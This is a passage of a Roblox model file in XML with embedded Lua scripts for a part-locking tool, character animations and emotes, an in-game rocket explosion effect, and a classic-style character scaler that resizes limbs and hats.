coroutine.resume(coroutine.create(f))
end
local lockicon   = &quot;rbxasset://textures\\LockCursor.png&quot;
local unlockicon = &quot;rbxasset://textures\\UnlockCursor.png&quot;
local ping  = &quot;rbxasset://sounds\\electronicpingshort.wav&quot;

tool.Selected:connect(function(mouse)
	m, polling = mouse, true
	conn = m.Button1Down:connect(function()
		local p = m.Target
		if p and p:isA(&quot;Part&quot;) then p.Locked = not p.Locked end
		local snd = Instance.new(&quot;Sound&quot;) snd.SoundId = ping snd.Parent  = tool snd:play()
		thread(function()
		wait(1)
		snd:Remove()
		end)
	end)

	thread(function()
		while polling do
			local p = m.Target
			if p and p:isA(&quot;Part&quot;) then m.Icon = p.Locked and unlockicon or lockicon else m.Icon = &quot;&quot; end
			wait(0.1)
		end
	end)
end)

tool.Deselected:connect(function()
	polling = false
	if conn then conn:disconnect() conn = nil end
	if m then m.Icon = &quot;&quot; m = nil end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX34">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Animate2</string>
					<ProtectedString name="Source">function   waitForChild(parent, childName)
	local child = parent:findFirstChild(childName)
	if child then return child end
	while true do
		child = parent.ChildAdded:wait()
		if child.Name==childName then return child end
	end
end


local Figure = script.Parent
local Torso = waitForChild(Figure, &quot;Torso&quot;)
local RightShoulder = waitForChild(Torso, &quot;Right Shoulder&quot;)
local LeftShoulder = waitForChild(Torso, &quot;Left Shoulder&quot;)
local RightHip = waitForChild(Torso, &quot;Right Hip&quot;)
local LeftHip = waitForChild(Torso, &quot;Left Hip&quot;)
local Neck = waitForChild(Torso, &quot;Neck&quot;)
local Humanoid = waitForChild(Figure, &quot;Humanoid&quot;)
local pose = &quot;Standing&quot;

local platform = script.Parent:findFirstChild(&quot;LegPlatform&quot;)

local currentAnim = &quot;&quot;
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local oldAnimTrack = nil
local animTable = {}
local animNames = { 
	idle = 	{	
				{ id = &quot;http://www.roblox.com/asset/?id=125750544&quot;, weight = 9 },
				{ id = &quot;http://www.roblox.com/asset/?id=125750618&quot;, weight = 1 }
			},
	walk = 	{ 	
				{ id = &quot;http://www.roblox.com/asset/?id=125749145&quot;, weight = 10 } 
			}, 
	run = 	{
				{ id = &quot;run.xml&quot;, weight = 10 } 
			}, 
	jump = 	{
				{ id = &quot;http://www.roblox.com/asset/?id=125750702&quot;, weight = 10 } 
			}, 
	fall = 	{
				{ id = &quot;http://www.roblox.com/asset/?id=125750759&quot;, weight = 10 } 
			}, 
	climb = {
				{ id = &quot;http://www.roblox.com/asset/?id=125750800&quot;, weight = 10 } 
			}, 
	toolnone = {
				{ id = &quot;http://www.roblox.com/asset/?id=125750867&quot;, weight = 10 } 
			},
	toolslash = {
				{ id = &quot;http://www.roblox.com/asset/?id=129967390&quot;, weight = 10 } 
--				{ id = &quot;slash.xml&quot;, weight = 10 } 
			},
	toollunge = {
				{ id = &quot;http://www.roblox.com/asset/?id=129967478&quot;, weight = 10 } 
			},
	wave = {
				{ id = &quot;http://www.roblox.com/asset/?id=128777973&quot;, weight = 10 } 
			},
	point = {
				{ id = &quot;http://www.roblox.com/asset/?id=128853357&quot;, weight = 10 } 
			},
	dance = {
				{ id = &quot;http://www.roblox.com/asset/?id=130018893&quot;, weight = 10 }, 
				{ id = &quot;http://www.roblox.com/asset/?id=132546839&quot;, weight = 10 }, 
				{ id = &quot;http://www.roblox.com/asset/?id=132546884&quot;, weight = 10 } 
			},
	laugh = {
				{ id = &quot;http://www.roblox.com/asset/?id=129423131&quot;, weight = 10 } 
			},
	cheer = {
				{ id = &quot;http://www.roblox.com/asset/?id=129423030&quot;, weight = 10 } 
			},
}

-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}

math.randomseed(tick())

-- Setup animation objects
for name, fileList in pairs(animNames) do 
	animTable[name] = {}
	animTable[name].count = 0
	animTable[name].totalWeight = 0

	-- check for config values
	local config = script:FindFirstChild(name)
	if (config ~= nil) then
--		print(&quot;Loading anims &quot; .. name)
		local idx = 1
		for _, childPart in pairs(config:GetChildren()) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = childPart
			local weightObject = childPart:FindFirstChild(&quot;Weight&quot;)
			if (weightObject == nil) then
				animTable[name][idx].weight = 1
			else
				animTable[name][idx].weight = weightObject.Value
			end
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
--			print(name .. &quot; [&quot; .. idx .. &quot;] &quot; .. animTable[name][idx].anim.AnimationId .. &quot; (&quot; .. animTable[name][idx].weight .. &quot;)&quot;)
			idx = idx + 1
		end
	end

	-- fallback to defaults
	if (animTable[name].count &lt;= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new(&quot;Animation&quot;)
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
--			print(name .. &quot; [&quot; .. idx .. &quot;] &quot; .. anim.id .. &quot; (&quot; .. anim.weight .. &quot;)&quot;)
		end
	end
end

-- ANIMATION

-- declarations
local toolAnim = &quot;None&quot;
local toolAnimTime = 0

local jumpAnimTime = 0
local jumpAnimDuration = 0.175

local toolTransitionTime = 0.1
local fallTransitionTime = 0.2
local jumpMaxLimbVelocity = 0.75

-- functions

function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = &quot;idle&quot;
	end

	currentAnim = &quot;&quot;
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (oldAnimTrack ~= nil) then
		oldAnimTrack:Stop()
		oldAnimTrack:Destroy()
		oldAnimTrack = nil
	end
	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end
	return oldAnim
end

function setAnimationSpeed(speed)
    if speed ~= currentAnimSpeed and currentAnimTrack then
        currentAnimSpeed = speed
        currentAnimTrack:AdjustSpeed(currentAnimSpeed)
    end
end

function keyFrameReachedFunc(frameName)
	if (frameName == &quot;End&quot;) then
--		print(&quot;Keyframe : &quot;.. frameName)
		local repeatAnim = stopAllAnimations()
		local animSpeed = currentAnimSpeed
		playAnimation(repeatAnim, 0.0, Humanoid)
		setAnimationSpeed(animSpeed)
	end
end

-- Preload animations
function playAnimation(animName, transitionTime, humanoid)
	if (animName ~= currentAnim) then		 
		
		if (oldAnimTrack ~= nil) then
			oldAnimTrack:Stop()
			oldAnimTrack:Destroy()
		end

		currentAnimSpeed = 1.0
		local roll = math.random(1, animTable[animName].totalWeight) 
		local origRoll = roll
		local idx = 1
		while (roll &gt; animTable[animName][idx].weight) do
			roll = roll - animTable[animName][idx].weight
			idx = idx + 1
		end
--		print(animName .. &quot; &quot; .. idx .. &quot; [&quot; .. origRoll .. &quot;]&quot;)
		local anim = animTable[animName][idx].anim

		-- load it to the humanoid; get AnimationTrack
		oldAnimTrack = currentAnimTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)
		 
		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
	end
end

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

local toolAnimName = &quot;&quot;
local toolOldAnimTrack = nil
local toolAnimTrack = nil
local currentToolAnimKeyframeHandler = nil

function toolKeyFrameReachedFunc(frameName)
	if (frameName == &quot;End&quot;) then
--		print(&quot;Keyframe : &quot;.. frameName)
		local repeatAnim = stopToolAnimations()
		playToolAnimation(repeatAnim, 0.0, Humanoid)
	end
end


function playToolAnimation(animName, transitionTime, humanoid)
	if (animName ~= toolAnimName) then		 
		
		if (toolAnimTrack ~= nil) then
			toolAnimTrack:Stop()
			toolAnimTrack:Destroy()
			transitionTime = 0
		end

		local roll = math.random(1, animTable[animName].totalWeight) 
		local origRoll = roll
		local idx = 1
		while (roll &gt; animTable[animName][idx].weight) do
			roll = roll - animTable[animName][idx].weight
			idx = idx + 1
		end
--		print(animName .. &quot; * &quot; .. idx .. &quot; [&quot; .. origRoll .. &quot;]&quot;)
		local anim = animTable[animName][idx].anim

		-- load it to the humanoid; get AnimationTrack
		toolOldAnimTrack = toolAnimTrack
		toolAnimTrack = humanoid:LoadAnimation(anim)
		 
		-- play the animation
		toolAnimTrack:Play(transitionTime)
		toolAnimName = animName

		currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
	end
end

function stopToolAnimations()
	local oldAnim = toolAnimName

	if (currentToolAnimKeyframeHandler ~= nil) then
		currentToolAnimKeyframeHandler:disconnect()
	end

	toolAnimName = &quot;&quot;
	if (toolAnimTrack ~= nil) then
		toolAnimTrack:Stop()
		toolAnimTrack:Destroy()
		toolAnimTrack = nil
	end


	return oldAnim
end

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------


function onRunning(speed)
	if speed&gt;0 then
		playAnimation(&quot;walk&quot;, 0.1, Humanoid)
		pose = &quot;Running&quot;
	else
		playAnimation(&quot;idle&quot;, 0.1, Humanoid)
		pose = &quot;Standing&quot;
	end
end

function onDied()
	pose = &quot;Dead&quot;
end

function onJumping()
   if platform then platform.CanCollide = false end
--script.Parent.Legplatform.CanCollide = false
	playAnimation(&quot;jump&quot;, 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = &quot;Jumping&quot;
end

function onClimbing(speed)
	playAnimation(&quot;climb&quot;, 0.1, Humanoid)
	setAnimationSpeed(speed / 12.0)
	pose = &quot;Climbing&quot;
end

function onGettingUp()
	pose = &quot;GettingUp&quot;
end

function onFreeFall()
   if platform then platform.CanCollide = true end
	--script.Parent.Legplatform.CanCollide = true
	if (jumpAnimTime &lt;= 0) then
		playAnimation(&quot;fall&quot;, fallTransitionTime, Humanoid)
	end
	pose = &quot;FreeFall&quot;
end

function onFallingDown()
   if platform then platform.CanCollide = false end
	--script.Parent.Legplatform.CanCollide = false
	pose = &quot;FallingDown&quot;
end

function onSeated()
	pose = &quot;Seated&quot;
end

function onPlatformStanding()
	pose = &quot;PlatformStanding&quot;
end

function onSwimming(speed)
	if speed&gt;0 then
		pose = &quot;Running&quot;
	else
		pose = &quot;Standing&quot;
	end
end

function getTool()	
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.className == &quot;Tool&quot; then return kid end
	end
	return nil
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == &quot;toolanim&quot; and c.className == &quot;StringValue&quot; then
			return c
		end
	end
	return nil
end

function animateTool()
	
	if (toolAnim == &quot;None&quot;) then
		playToolAnimation(&quot;toolnone&quot;, toolTransitionTime, Humanoid)
		return
	end

	if (toolAnim == &quot;Slash&quot;) then
		playToolAnimation(&quot;toolslash&quot;, 0, Humanoid)
		return
	end

	if (toolAnim == &quot;Lunge&quot;) then
		playToolAnimation(&quot;toollunge&quot;, 0, Humanoid)
		return
	end
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder:SetDesiredAngle(3.14 /2)
	LeftShoulder:SetDesiredAngle(-3.14 /2)
	RightHip:SetDesiredAngle(3.14 /2)
	LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

-- 2) move(): pulls in your multiplier?frequency logic, and uses it both for limb angles and for AdjustSpeed()
function move(time)
    -- calculate deltaTime
    local deltaTime = time - lastTick
    lastTick = time

    -- 1a) read your modifier
    local m = 1
	if script.Parent:findFirstChild(&quot;giantscript&quot;) then
		n = tonumber(script.Parent:findFirstChild(&quot;giantscript&quot;).modifier.Value)
	elseif script.Parent:findFirstChild(&quot;gubbyresize&quot;) then
		n = tonumber(script.Parent:findFirstChild(&quot;gubbyresize&quot;).modifier.Value)
	end
    -- 1b) map multiplier to original frequency
    local origFreq
    if m &lt; 1 then
        origFreq = 1
    elseif m &gt;= 10 then
        origFreq = 1.5
    elseif m &gt;= 9 then
        origFreq = 1.75
    elseif m &gt;= 8 then
        origFreq = 2
    elseif m &gt;= 7 then
        origFreq = 2.25
    elseif m &gt;= 6 then
        origFreq = 2.5
    elseif m &gt;= 5 then
        origFreq = 3
    elseif m &gt;= 4 then
        origFreq = 4
    elseif m &gt;= 3 then
        origFreq = 5
    elseif m &gt;= 2 then
        origFreq = 7
    else
        origFreq = 9
    end

    -- 1c) divide everything by 9
    local frequency = origFreq / 6

    -- handle jump/fall/state-based animations
    if pose == &quot;FreeFall&quot; and jumpAnimTime &lt;= 0 then
        playAnimation(&quot;fall&quot;, fallTransitionTime, Humanoid)
    elseif pose == &quot;Seated&quot; then
        stopAllAnimations()
        moveSit()
        return
    elseif pose == &quot;Running&quot; then
        playAnimation(&quot;walk&quot;, 0.1, Humanoid)
        setAnimationSpeed(frequency)
    elseif (pose == &quot;Dead&quot; or pose == &quot;GettingUp&quot; or pose == &quot;FallingDown&quot;
           or pose == &quot;PlatformStanding&quot;) then
        -- very slow flail
        amplitude = 0.1
        local desiredAngle = amplitude * math.sin(time * frequency)
        RightShoulder:SetDesiredAngle(desiredAngle)
        LeftShoulder:SetDesiredAngle(-desiredAngle)
        RightHip:SetDesiredAngle(-desiredAngle)
        LeftHip:SetDesiredAngle(-desiredAngle)
    end

    -- for all other standing/running states, apply limb sway
    if pose == &quot;Standing&quot; or pose == &quot;Running&quot; then
        local desiredAngle = math.sin(time * frequency)
        RightShoulder:SetDesiredAngle(desiredAngle)
        LeftShoulder:SetDesiredAngle(-desiredAngle)
        RightHip:SetDesiredAngle(-desiredAngle)
        LeftHip:SetDesiredAngle(-desiredAngle)
    end

    -- Tool?animation handling (unchanged)
    local tool = getTool()
    if tool then
        local animStringValueObject = getToolAnim(tool)
        if animStringValueObject then
            toolAnim = animStringValueObject.Value
            animStringValueObject.Parent = nil
            toolAnimTime = time + .3
        end
        if time &gt; toolAnimTime then
            toolAnimTime = 0
            toolAnim = &quot;None&quot;
        end
        animateTool()
    else
        stopToolAnimations()
        toolAnim = &quot;None&quot;
        toolAnimTime = 0
    end
end

-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)

-- setup emote chat hook
Game.Players.LocalPlayer.Chatted:connect(function(msg)
	local emote = &quot;&quot;
	if (string.sub(msg, 1, 3) == &quot;/e &quot;) then
		emote = string.sub(msg, 4)
	elseif (string.sub(msg, 1, 7) == &quot;/emote &quot;) then
		emote = string.sub(msg, 8)
	end
	
	if (pose == &quot;Standing&quot; and emoteNames[emote] ~= nil) then
		playAnimation(emote, 0.1, Humanoid)
	end
--	print(&quot;===&gt; &quot; .. string.sub(msg, 1, 3) .. &quot;(&quot; .. emote .. &quot;)&quot;)
end)


-- main program

local runService = game:service(&quot;RunService&quot;);

-- initialize to idle
playAnimation(&quot;idle&quot;, 0.1, Humanoid)
pose = &quot;Standing&quot;

while Figure.Parent~=nil do
	local _, time = wait(0.1)
	move(time)
end


script.Parent.HumanoidRootPart:Remove()</ProtectedString>
				</Properties>
				<Item class="StringValue" referent="RBX35">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">idle</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX36">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750544</url></Content>
							<bool name="Archivable">true</bool>
							<string name="Name">Animation1</string>
						</Properties>
						<Item class="NumberValue" referent="RBX37">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">Weight</string>
								<double name="Value">9</double>
							</Properties>
						</Item>
					</Item>
					<Item class="Animation" referent="RBX38">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750618</url></Content>
							<bool name="Archivable">true</bool>
							<string name="Name">Animation2</string>
						</Properties>
						<Item class="NumberValue" referent="RBX39">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">Weight</string>
								<double name="Value">1</double>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX40">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">walk</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX41">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125749145</url></Content>
							<bool name="Archivable">true</bool>
							<string name="Name">WalkAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX42">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">run</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX43">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125749145</url></Content>
							<bool name="Archivable">true</bool>
							<string name="Name">RunAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX44">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">jump</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX45">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750702</url></Content>
							<bool name="Archivable">true</bool>
							<string name="Name">JumpAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX46">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">climb</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX47">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750800</url></Content>
							<bool name="Archivable">true</bool>
							<string name="Name">ClimbAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX48">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">toolnone</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX49">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750867</url></Content>
							<bool name="Archivable">true</bool>
							<string name="Name">ToolNoneAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX50">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">fall</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX51">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750759</url></Content>
							<bool name="Archivable">true</bool>
							<string name="Name">FallAnim</string>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Script" referent="RBX52">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">rocket</string>
					<ProtectedString name="Source">for i=1,120 do
local ex = Instance.new(&quot;Explosion&quot;)
ex.BlastRadius = 0
ex.Position = script.Parent.Position - Vector3.new(0,2,0)
ex.Parent = game.Workspace
wait(0.05)
end 
local ex = Instance.new(&quot;Explosion&quot;)
ex.BlastRadius = 10
ex.Position = script.Parent.Position
ex.Parent = game.Workspace
script.Parent.BodyThrust:remove()
script.Parent.Parent.Humanoid.Health = 0</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX53">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">giantscript</string>
					<ProtectedString name="Source">-- #############################################################
-- 2010-style character scaler &#150; auto-floor-lift + multi-resize hats
-- #############################################################
--  &#149; Works every time you re-run it: hats never over- or under-scale
--  &#149; Keeps classic lower-case 2010 API  (:children(), :isA(), :connect, &#133;)
-- #############################################################

----------------------------------------------------------------
-- 0)  objects &amp; last-modifier tracker
----------------------------------------------------------------
local char = script.Parent
local mod  = script.modifier.Value                  -- new size you want

-- remember the previous size so we only scale **by the ratio**
local lastModObj = char:findFirstChild(&quot;_LastModifier&quot;)
if not lastModObj then
	lastModObj           = Instance.new(&quot;NumberValue&quot;)
	lastModObj.Name      = &quot;_LastModifier&quot;
	lastModObj.Value     = 1                       -- avatar starts un-scaled
	lastModObj.Parent    = char
end
local lastMod     = lastModObj.Value              -- what the rig is right now
local scaleFactor = mod / lastMod                 --  &gt;1 grow, &lt;1 shrink


for i, v in ipairs(char:findFirstChild(&quot;Torso&quot;):children()) do
if v:isA(&quot;Decal&quot;) then
v:Remove()
end
end

for i, v in ipairs(char:children()) do
if v.Name == &quot;Shirt Graphic&quot; then --more AB BS &lt;3
v:Remove()
end
end

----------------------------------------------------------------
-- 0-bis) pre-scan every hat BEFORE we touch the rig
----------------------------------------------------------------
local hats = {}   -- [hat] = {handle, relCF, mesh}
do
	local head = char:findFirstChild(&quot;Head&quot;)
	if head then
		for _,h in ipairs(char:children()) do
			if h:isA(&quot;Hat&quot;) then
				local handle = h:findFirstChild(&quot;Handle&quot;)
				if handle and handle:isA(&quot;Part&quot;) then
					local mesh = handle:findFirstChild(&quot;SpecialMesh&quot;)
					         or handle:findFirstChild(&quot;Mesh&quot;)
					         or handle:findFirstChild(&quot;BlockMesh&quot;)
					         or handle:findFirstChild(&quot;CylinderMesh&quot;)
					hats[h] = {
						handle = handle,
						relCF  = head.CFrame:inverse() * handle.CFrame, -- head-space offset NOW
						mesh   = mesh,
					}
				end
			end
		end
	end
end

----------------------------------------------------------------
-- austiblox flag (unchanged)
----------------------------------------------------------------
local isausti
for _,lc in ipairs(game.Lighting:children()) do
	if lc.Name==&quot;BuildToolsModel&quot; or lc.Name==&quot;OwnerToolsModel&quot; then isausti=true end
end

local hasreset, hasfixer = false, false

for i,v in ipairs(game.Workspace:children()) do --2010 check
	if v.Name == &quot;ResetCommand&quot; then
		hasreset = true
	elseif v.Name == &quot;Fixer&quot; then
		hasfixer = true
	end
	if hasreset and hasfixer then
		isausti = true
		break
	end
end

----------------------------------------------------------------
-- constants / helpers
----------------------------------------------------------------
local V3   = Vector3.new
local R90  = CFrame.fromEulerAnglesXYZ(0,  math.pi/2, 0)
local Rm90 = CFrame.fromEulerAnglesXYZ(0, -math.pi/2, 0)

local BASE = {
	Head          = V3(2,1,1),  Torso         = V3(2,2,1),
	[&quot;Left Arm&quot;]  = V3(1,2,1),  [&quot;Right Arm&quot;] = V3(1,2,1),
	[&quot;Left Leg&quot;]  = V3(1,2,1),  [&quot;Right Leg&quot;] = V3(1,2,1),
}
local function hGap(sx) return math.max(sx*0.001, 0.002) end
local function vGap(sy) return math.max(sy*0.001, 0.002) end

----------------------------------------------------------------
-- 1) anchor pose (absolute values ? no cumulative error)
----------------------------------------------------------------
local function anchorPose(c)
	local torso = c:findFirstChild(&quot;Torso&quot;); if not torso then return end
	torso.Size, torso.Anchored = BASE.Torso*mod, true

	local lift = (BASE.Torso.Y/2 + BASE[&quot;Left Leg&quot;].Y) * (mod-1)
	torso.CFrame = torso.CFrame * CFrame.new(0,lift,0)

	local sx,sy = torso.Size.X/2, torso.Size.Y/2
	local gapX,gapY = hGap(sx*2), vGap(sy*2)

	local function set(p,off,rot)
		p.Anchored, p.Size = true, BASE[p.Name]*mod
		p.CFrame = torso.CFrame * CFrame.new(off) * rot
	end

	local head = c:findFirstChild(&quot;Head&quot;)
	if head then set(head, V3(0,sy+head.Size.Y/2,0), CFrame.new()) end

	local la = c:findFirstChild(&quot;Left Arm&quot;)
	if la then set(la, V3(-(sx+la.Size.X/2+gapX),0,0), Rm90) end
	local ra = c:findFirstChild(&quot;Right Arm&quot;)
	if ra then set(ra, V3( (sx+ra.Size.X/2+gapX),0,0), R90) end

	local ly = -(sy + (BASE[&quot;Left Leg&quot;].Y*mod)/2 + gapY)
	local ll = c:findFirstChild(&quot;Left Leg&quot;)
	if ll then set(ll, V3(-(sx-ll.Size.X/2),ly,0), R90) end
	local rl = c:findFirstChild(&quot;Right Leg&quot;)
	if rl then set(rl, V3( (sx-rl.Size.X/2),ly,0), R90) end
end

----------------------------------------------------------------
-- 2) rebuild joints (unchanged)
----------------------------------------------------------------
local function joints(c)
	local torso = c:findFirstChild(&quot;Torso&quot;); if not torso then return end
	local sx,sy = torso.Size.X/2, torso.Size.Y/2
	local gapX   = hGap(sx*2)

	for _,v in ipairs(torso:children()) do
		if v:isA(&quot;Motor&quot;) or v:isA(&quot;Snap&quot;) then v:Remove() end
	end

	local function mk(name,p1,c0,c1)
		local m = Instance.new(&quot;Motor&quot;)
		m.Name,m.Part0,m.Part1,m.Parent = name,torso,p1,torso
		m.C0,m.C1,m.MaxVelocity = c0,c1,0.1
		p1.CFrame = torso.CFrame * c0 * c1:inverse()
	end

	local la = c:findFirstChild(&quot;Left Arm&quot;)
	if la then mk(&quot;Left Shoulder&quot;,la,
		CFrame.new(-(sx+la.Size.X/2+gapX),sy-0.5,0)*Rm90,
		CFrame.new(0,la.Size.Y/2-0.5,0)*Rm90) end
	local ra = c:findFirstChild(&quot;Right Arm&quot;)
	if ra then mk(&quot;Right Shoulder&quot;,ra,
		CFrame.new( (sx+ra.Size.X/2+gapX),sy-0.5,0)*R90,
		CFrame.new(0,ra.Size.Y/2-0.5,0)*R90) end

	local ll = c:findFirstChild(&quot;Left Leg&quot;)
	if ll then mk(&quot;Left Hip&quot;,ll,
		CFrame.new(-(sx-ll.Size.X/2),-sy,0)*Rm90,
		CFrame.new(0,ll.Size.Y/2,0)*Rm90) end
	local rl = c:findFirstChild(&quot;Right Leg&quot;)
	if rl then mk(&quot;Right Hip&quot;,rl,
		CFrame.new( (sx-rl.Size.X/2),-sy,0)*R90,
		CFrame.new(0,rl.Size.Y/2,0)*R90) end

	local head = c:findFirstChild(&quot;Head&quot;)
	if head then
		local n = Instance.new(&quot;Snap&quot;)
		n.Name,n.Part0,n.Part1,n.Parent = &quot;Neck&quot;,torso,head,torso
		n.C0 = CFrame.new(0,sy+head.Size.Y/2,0)
	end
end

----------------------------------------------------------------
-- 3) optional leg platform (unchanged)
----------------------------------------------------------------
local function platform(c)
	local plate = c:findFirstChild(&quot;LegPlatform&quot;)
	if plate then plate:Remove() end
	if mod &lt; 3.5 then return end

	local t,lleg = c:findFirstChild(&quot;Torso&quot;), c:findFirstChild(&quot;Left Leg&quot;)
	if not (t and lleg) then return end

	plate = Instance.new(&quot;Part&quot;)
	plate.Name = &quot;LegPlatform&quot;
	plate.Size = (mod&gt;100) and V3(t.Size.X,35,t.Size.Z) or V3(t.Size.X,5,t.Size.Z)
	plate.Transparency, plate.CanCollide = 1, true
	plate.Anchored, plate.TopSurface, plate.BottomSurface = false,0,0
	plate.Parent = c

	local half = t.Size.Y/2 + lleg.Size.Y
	local yOff = -half + plate.Size.Y/2

	plate.CFrame = t.CFrame * CFrame.new(0,yOff,0) * CFrame.fromEulerAnglesXYZ(math.pi,0,0)

	local w = Instance.new(&quot;Weld&quot;)
	w.Name,w.Part0,w.Part1,w.Parent = &quot;LegPlateWeld&quot;,t,plate,t
	w.C0,w.C1 = t.CFrame:inverse()*plate.CFrame, CFrame.new()
end

----------------------------------------------------------------
-- 4)  **scale + re-place hats using ratio**
----------------------------------------------------------------
local function fixHats(c)
	local head = c:findFirstChild(&quot;Head&quot;); if not head then return end

	for hat,data in pairs(hats) do
		local handle = data.handle
		if handle and handle.Parent then
			----------------------------------------------------------
			-- I.  size / mesh scale only by the **ratio**
			----------------------------------------------------------
			--handle.Size = handle.Size * scaleFactor
			local mesh = data.mesh
			if mesh then
				mesh.Scale   = mesh.Scale   * scaleFactor
				if mesh.Offset then mesh.Offset = mesh.Offset * scaleFactor end
			end

			----------------------------------------------------------
			-- II. compute fresh C0  (original-offset * new-mod)
			----------------------------------------------------------
			local rel     = data.relCF                       -- offset seen *before* we grew/shrank
			local origPos = rel.p / lastMod                  -- back to un-scaled units
			local newPos  = origPos * mod                    -- target distance
			local rot     = rel - rel.p
			local c0      = CFrame.new(newPos) * rot

			----------------------------------------------------------
			-- III. weld &amp; place
			----------------------------------------------------------
			for _,j in ipairs(handle:children()) do
				if j:isA(&quot;Weld&quot;) or j:isA(&quot;Motor&quot;) or j:isA(&quot;Snap&quot;) then j:Remove() end
			end

			handle.CFrame, handle.Anchored = head.CFrame * c0, false

			local w = Instance.new(&quot;Weld&quot;)
			w.Part0, w.Part1, w.Parent = head, handle, head
			w.C0, w.C1 = c0, CFrame.new()
		end
	end
end

----------------------------------------------------------------
-- 5)  run the pipeline
----------------------------------------------------------------
char:BreakJoints()
anchorPose(char)
joints(char)
platform(char)
fixHats(char)

----------------------------------------------------------------
-- 6)  HRP weld so 2010 tools work
----------------------------------------------------------------
local torso,hrp = char:findFirstChild(&quot;Torso&quot;), char:findFirstChild(&quot;HumanoidRootPart&quot;)
if torso and hrp then
	hrp.Size, hrp.CFrame = torso.Size, torso.CFrame
	local rw = Instance.new(&quot;Weld&quot;)
	rw.Name,rw.Part0,rw.Part1,rw.Parent = &quot;RootWeld&quot;,torso,hrp,torso
	rw.C0,rw.C1 = CFrame.new(),CFrame.new()
	char.Humanoid.CameraOffset = V3(0,mod,0)
end

----------------------------------------------------------------
